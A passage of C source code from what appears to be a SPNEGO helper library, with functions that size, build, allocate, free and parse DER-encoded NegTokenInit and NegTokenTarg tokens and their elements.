344 | // The next tokens we're writing out reflect the total number of bytes
345 | // we have actually written out.
346 |
347 | // Sequence Token
348 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L);
349 |
350 | // Decrease the pbWriteTokenData, now we know the length and
351 | // write it out.
352 | pbWriteTokenData -= nTempLength;
353 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_CONSTRUCTED_SEQUENCE,
354 | NULL, nTotalBytesWritten);
355 |
356 | // Adjust Values and sanity check
357 | nTotalBytesWritten += nTempLength;
358 | nInternalTokenLength -= nTempLength;
359 |
360 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
361 | {
362 | goto xEndWriteNegTokenInit;
363 | }
364 |
365 | // Neg Init Token Identifier Token
366 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L);
367 |
368 | // Decrease the pbWriteTokenData, now we know the length and
369 | // write it out.
370 | pbWriteTokenData -= nTempLength;
371 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGINIT_TOKEN_IDENTIFIER,
372 | NULL, nTotalBytesWritten);
373 |
374 | // Adjust Values and sanity check
375 | nTotalBytesWritten += nTempLength;
376 | nInternalTokenLength -= nTempLength;
377 |
378 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
379 | {
380 | goto xEndWriteNegTokenInit;
381 | }
382 |
383 | // SPNEGO OID Token
384 | nTempLength = g_stcMechOIDList[spnego_mech_oid_Spnego].iLen;
385 |
386 | // Decrease the pbWriteTokenData, now we know the length and
387 | // write it out.
388 | pbWriteTokenData -= nTempLength;
389 | nTempLength = ASNDerWriteOID(pbWriteTokenData, spnego_mech_oid_Spnego);
390 |
391 | // Adjust Values and sanity check
392 | nTotalBytesWritten += nTempLength;
393 | nInternalTokenLength -= nTempLength;
394 |
395 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
396 | {
397 | goto xEndWriteNegTokenInit;
398 | }
399 |
400 | // App Constructed Token
401 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L);
402 |
403 | // Decrease the pbWriteTokenData, now we know the length and
404 | // write it out.
405 | pbWriteTokenData -= nTempLength;
406 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGINIT_APP_CONSTRUCT,
407 | NULL, nTotalBytesWritten);
408 |
409 | // Adjust Values and sanity check
410 | nTotalBytesWritten += nTempLength;
411 |
412 | // Don't adjust the internal token length here, it doesn't account
413 | // the initial bytes written out (we really don't need to keep
414 | // a running count here, but for debugging, it helps to be able
415 | // to see the total number of bytes written out as well as the
416 | // number of bytes left to write).
417 |
418 | if (nTotalBytesWritten == nTokenLength && nInternalTokenLength == 0 &&
419 | pbWriteTokenData == pbTokenData)
420 | {
421 | nReturn = SPNEGO_E_SUCCESS;
422 | }
423 |
424 | xEndWriteNegTokenInit:
425 |
426 | return nReturn;
427 |
428 | }
429 |
430 | /////////////////////////////////////////////////////////////////////////////
431 | //
432 | // Function:
433 | // CalculateMinSpnegoTargTokenSize
434 | //
435 | // Parameters:
436 | // [in] MechType - Supported MechType
437 | // [in] spnegoNegResult - Neg Result
438 | // [in] nMechTokenLength - Length of the MechToken Element
439 | // [in] nMechListMICLength - Length of the MechListMIC Element
440 | // [out] pnTokenSize - Filled out with total size of token
441 | // [out] pnInternalTokenLength - Filled out with length minus length
442 | // for initial token.
443 | //
444 | // Returns:
445 | // int Success - SPNEGO_E_SUCCESS
446 | // Failure - SPNEGO API Error code
447 | //
448 | // Comments :
449 | // Calculates the required length for a SPNEGO NegTokenTarg token based
450 | // on the supplied variable length values and which elements are present.
451 | // Note that because the lengths can be represented by an arbitrary
452 | // number of bytes in DER encodings, we actually calculate the lengths
453 | // backwards, so we always know how many bytes we will potentially be
454 | // writing out.
455 | //
456 | ////////////////////////////////////////////////////////////////////////////
457 |
458 | int CalculateMinSpnegoTargTokenSize(SPNEGO_MECH_OID MechType,
459 | SPNEGO_NEGRESULT spnegoNegResult, long nMechTokenLen,
460 | long nMechListMICLen, long* pnTokenSize,
461 | long* pnInternalTokenLength)
462 | {
463 | int nReturn = SPNEGO_E_INVALID_LENGTH;
464 |
465 | // Start at 0.
466 | long nTotalLength = 0;
467 | long nTempLength = 0L;
468 |
469 | // We will calculate this by walking the token backwards
470 |
471 | // Start with MIC Element
472 | if (nMechListMICLen > 0L)
473 | {
474 | nTempLength = ASNDerCalcElementLength(nMechListMICLen, NULL);
475 |
476 | // Check for rollover error
477 | if (nTempLength < nMechListMICLen)
478 | {
479 | goto xEndTokenTargLength;
480 | }
481 |
482 | nTotalLength += nTempLength;
483 | }
484 |
485 | // Next is the MechToken
486 | if (nMechTokenLen > 0L)
487 | {
488 | nTempLength += ASNDerCalcElementLength(nMechTokenLen, NULL);
489 |
490 | // Check for rollover error
491 | if (nTempLength < nTotalLength)
492 | {
493 | goto xEndTokenTargLength;
494 | }
495 |
496 | nTotalLength = nTempLength;
497 | }
498 |
499 | // Supported MechType
500 | if (spnego_mech_oid_NotUsed != MechType)
501 | {
502 | // Supported MechOID element - we use the token function since
503 | // we already know the size of the OID token and value
504 | nTempLength += ASNDerCalcElementLength(g_stcMechOIDList[MechType].iActualDataLen,
505 | NULL);
506 |
507 | // Check for rollover error
508 | if (nTempLength < nTotalLength)
509 | {
510 | goto xEndTokenTargLength;
511 | }
512 |
513 | nTotalLength = nTempLength;
514 |
515 | } // IF MechType is available
516 |
517 | // NegResult Element
518 | if (spnego_negresult_NotUsed != spnegoNegResult)
519 | {
520 | nTempLength += ASNDerCalcElementLength(SPNEGO_NEGTARG_MAXLEN_NEGRESULT, NULL);
521 |
522 | // Check for rollover error
523 | if (nTempLength < nTotalLength)
524 | {
525 | goto xEndTokenTargLength;
526 | }
527 |
528 | nTotalLength = nTempLength;
529 |
530 | } // IF negResult is available
531 |
532 | // Following two fields are the basic header tokens
533 |
534 | // Sequence Token
535 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L);
536 |
537 | // Check for rollover error
538 | if (nTempLength < nTotalLength)
539 | {
540 | goto xEndTokenTargLength;
541 | }
542 |
543 | nTotalLength = nTempLength;
544 |
545 | // Neg Token Identifier Token
546 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L);
547 |
548 | // Check for rollover error
549 | if (nTempLength < nTotalLength)
550 | {
551 | goto xEndTokenTargLength;
552 | }
553 |
554 | // The internal length doesn't include the number of bytes
555 | // for the initial token
556 | *pnInternalTokenLength = nTotalLength;
557 | nTotalLength = nTempLength;
558 |
559 | // We're done
560 | *pnTokenSize = nTotalLength;
561 | nReturn = SPNEGO_E_SUCCESS;
562 |
563 | xEndTokenTargLength:
564 |
565 | return nReturn;
566 |
567 | }
568 |
569 | /////////////////////////////////////////////////////////////////////////////
570 | //
571 | // Function:
572 | // CreateSpnegoTargToken
573 | //
574 | // Parameters:
575 | // [in] MechType - Supported MechType
576 | // [in] eNegResult - NegResult value
577 | // [in] pbMechToken - Mech Token Binary Data
578 | // [in] ulMechTokenLen - Length of Mech Token
579 | // [in] pbMechListMIC - MechListMIC Binary Data
580 | // [in] ulMechListMICn - Length of MechListMIC
581 | // [out] pbTokenData - Buffer to write token into.
582 | // [in] nTokenLength - Length of pbTokenData buffer
583 | // [in] nInternalTokenLength - Length of full token without leading
584 | // token bytes.
585 | //
586 | // Returns:
587 | // int Success - SPNEGO_E_SUCCESS
588 | // Failure - SPNEGO API Error code
589 | //
590 | // Comments :
591 | // Uses DER to fill out pbTokenData with a SPNEGO NegTokenTarg Token
592 | // Note that because the lengths can be represented by an arbitrary
593 | // number of bytes in DER encodings, we actually calculate the lengths
594 | // backwards, so we always know how many bytes we will potentially be
595 | // writing out.
596 | //
597 | ////////////////////////////////////////////////////////////////////////////
598 |
599 | int CreateSpnegoTargToken(SPNEGO_MECH_OID MechType,
600 | SPNEGO_NEGRESULT eNegResult, unsigned char* pbMechToken,
601 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
602 | unsigned long ulMechListMICLen, unsigned char* pbTokenData,
603 | long nTokenLength, long nInternalTokenLength)
604 | {
605 | int nReturn = SPNEGO_E_INVALID_LENGTH;
606 |
607 | // Start at 0.
608 | long nTempLength = 0L;
609 | long nTotalBytesWritten = 0L;
610 | long nInternalLength = 0L;
611 |
612 | unsigned char ucTemp = 0;
613 |
614 | // We will write the token out backwards to properly handle the cases
615 | // where the length bytes become adjustable, so the write location
616 | // is initialized to point *just* past the end of the buffer.
617 |
618 | unsigned char* pbWriteTokenData = pbTokenData + nTokenLength;
619 |
620 |
621 | // Start with MIC Element
622 | if (ulMechListMICLen > 0L)
623 | {
624 | nTempLength = ASNDerCalcElementLength(ulMechListMICLen, &nInternalLength);
625 |
626 | // Decrease the pbWriteTokenData, now we know the length and
627 | // write it out.
628 |
629 | pbWriteTokenData -= nTempLength;
630 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC,
631 | OCTETSTRING, pbMechListMIC, ulMechListMICLen);
632 |
633 | // Adjust Values and sanity check
634 | nTotalBytesWritten += nTempLength;
635 | nInternalTokenLength -= nTempLength;
636 |
637 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
638 | {
639 | goto xEndWriteNegTokenTarg;
640 | }
641 |
642 | } // IF MechListMIC is present
643 |
644 | // Next is the MechToken
645 | if (ulMechTokenLen > 0L)
646 | {
647 | nTempLength = ASNDerCalcElementLength(ulMechTokenLen, &nInternalLength);
648 |
649 | // Decrease the pbWriteTokenData, now we know the length and
650 | // write it out.
651 | pbWriteTokenData -= nTempLength;
652 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN,
653 | OCTETSTRING, pbMechToken, ulMechTokenLen);
654 | // Adjust Values and sanity check
655 | nTotalBytesWritten += nTempLength;
656 | nInternalTokenLength -= nTempLength;
657 |
658 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
659 | {
660 | goto xEndWriteNegTokenTarg;
661 | }
662 |
663 | } // IF MechToken Length is present
664 |
665 | // Supported Mech Type
666 | if (spnego_mech_oid_NotUsed != MechType)
667 | {
668 |
669 | nTempLength = ASNDerCalcElementLength(g_stcMechOIDList[MechType].iActualDataLen,
670 | &nInternalLength);
671 |
672 | // Decrease the pbWriteTokenData, now we know the length and
673 | // write it out.
674 | pbWriteTokenData -= nTempLength;
675 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH,
676 | g_stcMechOIDList[MechType].ucOid,
677 | g_stcMechOIDList[MechType].iLen);
678 |
679 | // Adjust Values and sanity check
680 | nTotalBytesWritten += nTempLength;
681 | nInternalTokenLength -= nTempLength;
682 |
683 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
684 | {
685 | goto xEndWriteNegTokenTarg;
686 | }
687 |
688 | } // IF MechType is present
689 |
690 | // Neg Result
691 | // NegResult Element
692 | if (spnego_negresult_NotUsed != eNegResult)
693 | {
694 | ucTemp = (unsigned char)eNegResult;
695 |
696 | nTempLength = ASNDerCalcElementLength(SPNEGO_NEGTARG_MAXLEN_NEGRESULT, &nInternalLength);
697 |
698 | // Decrease the pbWriteTokenData, now we know the length and
699 | // write it out.
700 | pbWriteTokenData -= nTempLength;
701 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_NEGRESULT,
702 | ENUMERATED, &ucTemp, SPNEGO_NEGTARG_MAXLEN_NEGRESULT);
703 |
704 | // Adjust Values and sanity check
705 | nTotalBytesWritten += nTempLength;
706 | nInternalTokenLength -= nTempLength;
707 |
708 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
709 | {
710 | goto xEndWriteNegTokenTarg;
711 | }
712 |
713 | } // If eNegResult is available
714 |
715 | // The next tokens we're writing out reflect the total number of bytes
716 | // we have actually written out.
717 |
718 | // Sequence Token
719 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L);
720 |
721 | // Decrease the pbWriteTokenData, now we know the length and
722 | // write it out.
723 | pbWriteTokenData -= nTempLength;
724 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_CONSTRUCTED_SEQUENCE,
725 | NULL, nTotalBytesWritten);
726 |
727 | // Adjust Values and sanity check
728 | nTotalBytesWritten += nTempLength;
729 | nInternalTokenLength -= nTempLength;
730 |
731 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
732 | {
733 | goto xEndWriteNegTokenTarg;
734 | }
735 |
736 | // Neg Targ Token Identifier Token
737 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L);
738 |
739 | // Decrease the pbWriteTokenData, now we know the length and
740 | // write it out.
741 | pbWriteTokenData -= nTempLength;
742 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGTARG_TOKEN_IDENTIFIER,
743 | NULL, nTotalBytesWritten);
744 |
745 | // Adjust Values and sanity check
746 | nTotalBytesWritten += nTempLength;
747 |
748 | // Don't adjust the internal token length here, it doesn't account
749 | // the initial bytes written out (we really don't need to keep
750 | // a running count here, but for debugging, it helps to be able
751 | // to see the total number of bytes written out as well as the
752 | // number of bytes left to write).
753 |
754 | if (nTotalBytesWritten == nTokenLength && nInternalTokenLength == 0 &&
755 | pbWriteTokenData == pbTokenData)
756 | {
757 | nReturn = SPNEGO_E_SUCCESS;
758 | }
759 |
760 |
761 | xEndWriteNegTokenTarg:
762 |
763 | return nReturn;
764 |
765 |
766 | }
767 |
768 |
769 | /////////////////////////////////////////////////////////////////////////////
770 | //
771 | // Function:
772 | // AllocEmptySpnegoToken
773 | //
774 | // Parameters:
775 | // [in] ucCopyData - Flag to copy data or pointer.
776 | // [in] ulFlags - Flags for SPNEGO_TOKEN data member.
777 | // [in] pbTokenData - Binary token data.
778 | // [in] ulTokenSize - Size of pbTokenData.
779 | //
780 | // Returns:
781 | // SPNEGO_TOKEN* Success - Pointer to initialized SPNEGO_TOKEN struct
782 | // Failure - NULL
783 | //
784 | // Comments :
785 | // Allocates a SPNEGO_TOKEN data structure and initializes it. Based on
786 | // the value of ucCopyData, if non-zero, we copy the data into a buffer
787 | // we allocate in this function, otherwise, we copy the data pointer
788 | // direcly.
789 | //
790 | ////////////////////////////////////////////////////////////////////////////
791 |
792 | SPNEGO_TOKEN* AllocEmptySpnegoToken(unsigned char ucCopyData, unsigned long ulFlags,
793 | unsigned char* pbTokenData, unsigned long ulTokenSize)
794 | {
795 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)calloc(1, sizeof(SPNEGO_TOKEN));
796 |
797 | if (NULL != pSpnegoToken)
798 | {
799 | // Set the token size
800 | pSpnegoToken->nStructSize = SPNEGO_TOKEN_SIZE;
801 |
802 | // Initialize the element array
803 | InitSpnegoTokenElementArray(pSpnegoToken);
804 |
805 | // Assign the flags value
806 | pSpnegoToken->ulFlags = ulFlags;
807 |
808 | //
809 | // IF ucCopyData is TRUE, we will allocate a buffer and copy data into it.
810 | // Otherwise, we will just copy the pointer and the length. This is so we
811 | // can cut out additional allocations for performance reasons
812 | //
813 |
814 | if (SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA == ucCopyData)
815 | {
816 | // Alloc the internal buffer. Cleanup on failure.
817 | pSpnegoToken->pbBinaryData = (unsigned char*)calloc(ulTokenSize, sizeof(unsigned char));
818 |
819 | if (NULL != pSpnegoToken->pbBinaryData)
820 | {
821 | // We must ALWAYS free this buffer
822 | pSpnegoToken->ulFlags |= SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA;
823 |
824 | // Copy the data locally
825 | memcpy(pSpnegoToken->pbBinaryData, pbTokenData, ulTokenSize);
826 | pSpnegoToken->ulBinaryDataLen = ulTokenSize;
827 | }
828 | else
829 | {
830 | free(pSpnegoToken);
831 | pSpnegoToken = NULL;
832 | }
833 |
834 | } // IF ucCopyData
835 | else
836 | {
837 | // Copy the pointer and the length directly - ulFlags will control whether or not
838 | // we are allowed to free the value
839 |
840 | pSpnegoToken->pbBinaryData = pbTokenData;
841 | pSpnegoToken->ulBinaryDataLen = ulTokenSize;
842 | }
843 |
844 | }
845 |
846 | return pSpnegoToken;
847 | }
848 |
849 | /////////////////////////////////////////////////////////////////////////////
850 | //
851 | // Function:
852 | // FreeSpnegoToken
853 | //
854 | // Parameters:
855 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN to free.
856 | //
857 | // Returns:
858 | // void
859 | //
860 | // Comments :
861 | // If non-NULL, interprets pSpnegoToken, freeing any internal allocations
862 | // and finally the actual structure.
863 | //
864 | ////////////////////////////////////////////////////////////////////////////
865 |
866 | void FreeSpnegoToken(SPNEGO_TOKEN* pSpnegoToken)
867 | {
868 | if (NULL != pSpnegoToken)
869 | {
870 |
871 | // Cleanup internal allocation per the flags
872 | if (pSpnegoToken->ulFlags & SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA &&
873 | NULL != pSpnegoToken->pbBinaryData)
874 | {
875 | free(pSpnegoToken->pbBinaryData);
876 | pSpnegoToken->pbBinaryData = NULL;
877 | }
878 |
879 | free(pSpnegoToken);
880 | }
881 | }
882 |
883 | /////////////////////////////////////////////////////////////////////////////
884 | //
885 | // Function:
886 | // InitSpnegoTokenElementArray
887 | //
888 | // Parameters:
889 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN structure.
890 | //
891 | // Returns:
892 | // void
893 | //
894 | // Comments :
895 | // Initializes the element array data member of a SPNEGO_TOKEN data
896 | // structure.
897 | //
898 | ////////////////////////////////////////////////////////////////////////////
899 |
900 | void InitSpnegoTokenElementArray(SPNEGO_TOKEN* pSpnegoToken)
901 | {
902 | int nCtr;
903 |
904 | // Set the number of elemnts
905 | pSpnegoToken->nNumElements = MAX_NUM_TOKEN_ELEMENTS;
906 |
907 | //
908 | // Initially, all elements are unavailable
909 | //
910 |
911 | for (nCtr = 0; nCtr < MAX_NUM_TOKEN_ELEMENTS; nCtr++)
912 | {
913 | // Set the element size as well
914 | pSpnegoToken->aElementArray[nCtr].nStructSize = SPNEGO_ELEMENT_SIZE;
915 | pSpnegoToken->aElementArray[nCtr].iElementPresent = SPNEGO_TOKEN_ELEMENT_UNAVAILABLE;
916 | }
917 |
918 | }
919 |
920 | /////////////////////////////////////////////////////////////////////////////
921 | //
922 | // Function:
923 | // InitSpnegoTokenType
924 | //
925 | // Parameters:
926 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN structure.
927 | // [out] pnTokenLength - Filled out with total token length
928 | // [out] pnRemainingTokenLength - Filled out with remaining length
929 | // after header is parsed
930 | // [out] ppbFirstElement - Filled out with pointer to first
931 | // element after header info.
932 | //
933 | // Returns:
934 | // int Success - SPNEGO_E_SUCCESS
935 | // Failure - SPNEGO API Error code
936 | //
937 | // Comments :
938 | // Walks the underlying binary data for a SPNEGO_TOKEN data structure
939 | // and determines the type of the underlying token based on token header
940 | // information.
941 | //
942 | ////////////////////////////////////////////////////////////////////////////
943 |
944 | int InitSpnegoTokenType(SPNEGO_TOKEN* pSpnegoToken, long* pnTokenLength,
945 | long* pnRemainingTokenLength, unsigned char** ppbFirstElement)
946 | {
947 | int nReturn = SPNEGO_E_INVALID_TOKEN;
948 | long nActualTokenLength = 0L;
949 | long nBoundaryLength = pSpnegoToken->ulBinaryDataLen;
950 | unsigned char* pbTokenData = pSpnegoToken->pbBinaryData;
951 |
952 | //
953 | // First byte MUST be either an APP_CONSTRUCT or the NEGTARG_TOKEN_TARG
954 | //
955 |
956 | if (SPNEGO_NEGINIT_APP_CONSTRUCT == *pbTokenData)
957 | {
958 | // Validate the above token - this will tell us the actual length of the token
959 | // per the encoding (minus the actual token bytes)
960 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_NEGINIT_APP_CONSTRUCT, 0L, nBoundaryLength,
961 | pnTokenLength, &nActualTokenLength))
962 | == SPNEGO_E_SUCCESS)
963 | {
964 | // Initialize the remaining token length value. This will be used
965 | // to tell the caller how much token there is left once we've parsed
966 | // the header (they could calculate it from the other values, but this
967 | // is a bit friendlier)
968 | *pnRemainingTokenLength = *pnTokenLength;
969 |
970 | // Make adjustments to next token
971 | pbTokenData += nActualTokenLength;
972 | nBoundaryLength -= nActualTokenLength;
973 |
974 | // The next token should be an OID
975 | if ((nReturn = ASNDerCheckOID(pbTokenData, spnego_mech_oid_Spnego, nBoundaryLength,
976 | &nActualTokenLength)) == SPNEGO_E_SUCCESS)
977 | {
978 | // Make adjustments to next token
979 | pbTokenData += nActualTokenLength;
980 | nBoundaryLength -= nActualTokenLength;
981 | *pnRemainingTokenLength -= nActualTokenLength;
982 |
983 | // The next token should specify the NegTokenInit
984 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_NEGINIT_TOKEN_IDENTIFIER,
985 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength,
986 | &nActualTokenLength))
987 | == SPNEGO_E_SUCCESS)
988 | {
989 | // Make adjustments to next token
990 | pbTokenData += nActualTokenLength;
991 | nBoundaryLength -= nActualTokenLength;
992 | *pnRemainingTokenLength -= nActualTokenLength;
993 |
994 | // The next token should specify the start of a sequence
995 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_CONSTRUCTED_SEQUENCE,
996 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength,
997 | &nActualTokenLength))
998 | == SPNEGO_E_SUCCESS)
999 | {
1000 | // NegTokenInit header is now checked out!
1001 |
1002 | // Make adjustments to next token
1003 | *pnRemainingTokenLength -= nActualTokenLength;
1004 |
1005 | // Store pointer to first element
1006 | *ppbFirstElement = pbTokenData + nActualTokenLength;
1007 | pSpnegoToken->ucTokenType = SPNEGO_TOKEN_INIT;
1008 | } // IF Check Sequence Token
1009 |
1010 | } // IF Check NegTokenInit token
1011 |
1012 |
1013 | } // IF Check for SPNEGO OID
1014 |
1015 |
1016 | } // IF check app construct token
1017 |
1018 | }
1019 | else if (SPNEGO_NEGTARG_TOKEN_IDENTIFIER == *pbTokenData)
1020 | {
1021 |
1022 | // The next token should specify the NegTokenInit
1023 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_NEGTARG_TOKEN_IDENTIFIER,
1024 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength,
1025 | &nActualTokenLength))
1026 | == SPNEGO_E_SUCCESS)
1027 | {
1028 | // Initialize the remaining token length value. This will be used
1029 | // to tell the caller how much token there is left once we've parsed
1030 | // the header (they could calculate it from the other values, but this
1031 | // is a bit friendlier)
1032 | *pnRemainingTokenLength = *pnTokenLength;
1033 |
1034 | // Make adjustments to next token
1035 | pbTokenData += nActualTokenLength;
1036 | nBoundaryLength -= nActualTokenLength;
1037 |
1038 | // The next token should specify the start of a sequence
1039 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_CONSTRUCTED_SEQUENCE,
1040 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength,
1041 | &nActualTokenLength))
1042 | == SPNEGO_E_SUCCESS)
1043 | {
1044 | // NegTokenInit header is now checked out!
1045 |
1046 | // Make adjustments to next token
1047 | *pnRemainingTokenLength -= nActualTokenLength;
1048 |
1049 | // Store pointer to first element
1050 | *ppbFirstElement = pbTokenData + nActualTokenLength;
1051 | pSpnegoToken->ucTokenType = SPNEGO_TOKEN_TARG;
1052 | } // IF Check Sequence Token
1053 |
1054 | } // IF Check NegTokenInit token
1055 |
1056 | } // ELSE IF it's a NegTokenTarg
1057 |
1058 | return nReturn;
1059 | }
1060 |
1061 |
1062 | /////////////////////////////////////////////////////////////////////////////
1063 | //
1064 | // Function:
1065 | // GetSpnegoInitTokenMechList
1066 | //
1067 | // Parameters:
1068 | // [in] pbTokenData - Points to binary MechList element
1069 | // in NegTokenInit.
1070 | // [in] nMechListLength - Length of the MechList
1071 | // [out] pSpnegoElement - Filled out with MechList Element
1072 | // data.
1073 | //
1074 | // Returns:
1075 | // int Success - SPNEGO_E_SUCCESS
1076 | // Failure - SPNEGO API Error code
1077 | //
1078 | // Comments :
1079 | // Checks that pbTokenData is pointing at something that at least
1080 | // *looks* like a MechList and then fills out the supplied
1081 | // SPNEGO_ELEMENT structure.
1082 | //
1083 | ////////////////////////////////////////////////////////////////////////////
1084 |
1085 | int GetSpnegoInitTokenMechList(unsigned char* pbTokenData, int nMechListLength,
1086 | SPNEGO_ELEMENT* pSpnegoElement)
1087 | {
1088 | int nReturn = SPNEGO_E_INVALID_TOKEN;
1089 | long nLength = 0L;
1090 | long nActualTokenLength = 0L;
1091 |
1092 | // Actual MechList is prepended by a Constructed Sequence Token
1093 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_CONSTRUCTED_SEQUENCE,
1094 | nMechListLength, nMechListLength,
1095 | &nLength, &nActualTokenLength))
1096 | == SPNEGO_E_SUCCESS)
1097 | {
1098 | // Adjust for this token
1099 | nMechListLength -= nActualTokenLength;
1100 | pbTokenData += nActualTokenLength;
1101 |
1102 | // Perform simple validation of the actual MechList (i.e. ensure that
1103 | // the OIDs in the MechList are reasonable).
1104 |
1105 | if ((nReturn = ValidateMechList(pbTokenData, nLength)) == SPNEGO_E_SUCCESS)
1106 | {
1107 | // Initialize the element now
1108 | pSpnegoElement->eElementType = spnego_init_mechtypes;
1109 | pSpnegoElement->iElementPresent = SPNEGO_TOKEN_ELEMENT_AVAILABLE;
1110 | pSpnegoElement->type = SPNEGO_MECHLIST_TYPE;
1111 | pSpnegoElement->nDatalength = nLength;
1112 | pSpnegoElement->pbData = pbTokenData;
1113 | }
1114 |
1115 | } // IF Check Token
1116 |
1117 | return nReturn;
1118 | }
1119 |
1120 | /////////////////////////////////////////////////////////////////////////////
1121 | //
1122 | // Function:
1123 | // InitSpnegoTokenElementFromBasicType
1124 | //
1125 | // Parameters:
1126 | // [in] pbTokenData - Points to binary element data in
1127 | // a SPNEGO token.
1128 | // [in] nElementLength - Length of the element
1129 | // [in] ucExpectedType - Expected DER type.
1130 | // [in] spnegoElementType - Which element is this?
1131 | // [out] pSpnegoElement - Filled out with element data.
1132 | //
1133 | // Returns:
1134 | // int Success - SPNEGO_E_SUCCESS
1135 | // Failure - SPNEGO API Error code
1136 | //
1137 | // Comments :
1138 | // Checks that pbTokenData is pointing at the specified DER type. If so,
1139 | // then we verify that lengths are proper and then fill out the
1140 | // SPNEGO_ELEMENT data structure.
1141 | //
1142 | ////////////////////////////////////////////////////////////////////////////
1143 |
1144 | int InitSpnegoTokenElementFromBasicType(unsigned char* pbTokenData, int nElementLength,
1145 | unsigned char ucExpectedType,
1146 | SPNEGO_ELEMENT_TYPE spnegoElementType,
1147 | SPNEGO_ELEMENT* pSpnegoElement)
1148 | {
1149 | int nReturn = SPNEGO_E_UNEXPECTED_TYPE;
1150 | long nLength = 0L;
1151 | long nActualTokenLength = 0L;
1152 |
1153 | // The type BYTE must match our token data or something is badly wrong
1154 | if (*pbTokenData == ucExpectedType)
1155 | {
1156 |
1157 | // Check that we are pointing at the specified type
1158 | if ((nReturn = ASNDerCheckToken(pbTokenData, ucExpectedType,
1159 | nElementLength, nElementLength,
1160 | &nLength, &nActualTokenLength))
1161 | == SPNEGO_E_SUCCESS)
1162 | {
1163 | // Adjust for this token
1164 | nElementLength -= nActualTokenLength;
1165 | pbTokenData += nActualTokenLength;
1166 |
1167 | // Initialize the element now
1168 | pSpnegoElement->eElementType = spnegoElementType;
1169 | pSpnegoElement->iElementPresent = SPNEGO_TOKEN_ELEMENT_AVAILABLE;
1170 | pSpnegoElement->type = ucExpectedType;
1171 | pSpnegoElement->nDatalength = nLength;
1172 | pSpnegoElement->pbData = pbTokenData;
1173 | }
1174 |
1175 | } // IF type makes sense
1176 |
1177 | return nReturn;
1178 | }
1179 |
1180 |
1181 | /////////////////////////////////////////////////////////////////////////////
1182 | //
1183 | // Function:
1184 | // InitSpnegoTokenElementFromOID
1185 | //
1186 | // Parameters:
1187 | // [in] pbTokenData - Points to binary element data in
1188 | // a SPNEGO token.
1189 | // [in] nElementLength - Length of the element
1190 | // [in] spnegoElementType - Which element is this?
1191 | // [out] pSpnegoElement - Filled out with element data.
1192 | //
1193 | // Returns:
1194 | // int Success - SPNEGO_E_SUCCESS
1195 | // Failure - SPNEGO API Error code
1196 | //
1197 | // Comments :
1198 | // Initializes a SpnegoElement from an OID - normally, this would have
1199 | // used the Basic Type function above, but since we do binary compares
1200 | // on the OIDs against the DER information as well as the OID, we need
1201 | // to account for that.
1202 | //
1203 | ////////////////////////////////////////////////////////////////////////////
1204 |
1205 | int InitSpnegoTokenElementFromOID(unsigned char* pbTokenData, int nElementLength,
1206 | SPNEGO_ELEMENT_TYPE spnegoElementType,
1207 | SPNEGO_ELEMENT* pSpnegoElement)
1208 | {
1209 | int nReturn = SPNEGO_E_UNEXPECTED_TYPE;
1210 | long nLength = 0L;
1211 | long nActualTokenLength = 0L;
1212 |
1213 | // The type BYTE must match our token data or something is badly wrong
1214 | if (*pbTokenData == OID)
1215 | {
1216 |
1217 | // Check that we are pointing at an OID type
1218 | if ((nReturn = ASNDerCheckToken(pbTokenData, OID,
1219 | nElementLength, nElementLength,
1220 | &nLength, &nActualTokenLength))
1221 | == SPNEGO_E_SUCCESS)
1222 | {
1223 | // Don't adjust any values for this function
1224 |
1225 | // Initialize the element now
1226 | pSpnegoElement->eElementType = spnegoElementType;
1227 | pSpnegoElement->iElementPresent = SPNEGO_TOKEN_ELEMENT_AVAILABLE;
1228 | pSpnegoElement->type = OID;
1229 | pSpnegoElement->nDatalength = nElementLength;
1230 | pSpnegoElement->pbData = pbTokenData;
1231 | }
1232 |
1233 | } // IF type makes sense
1234 |
1235 | return nReturn;
1236 | }
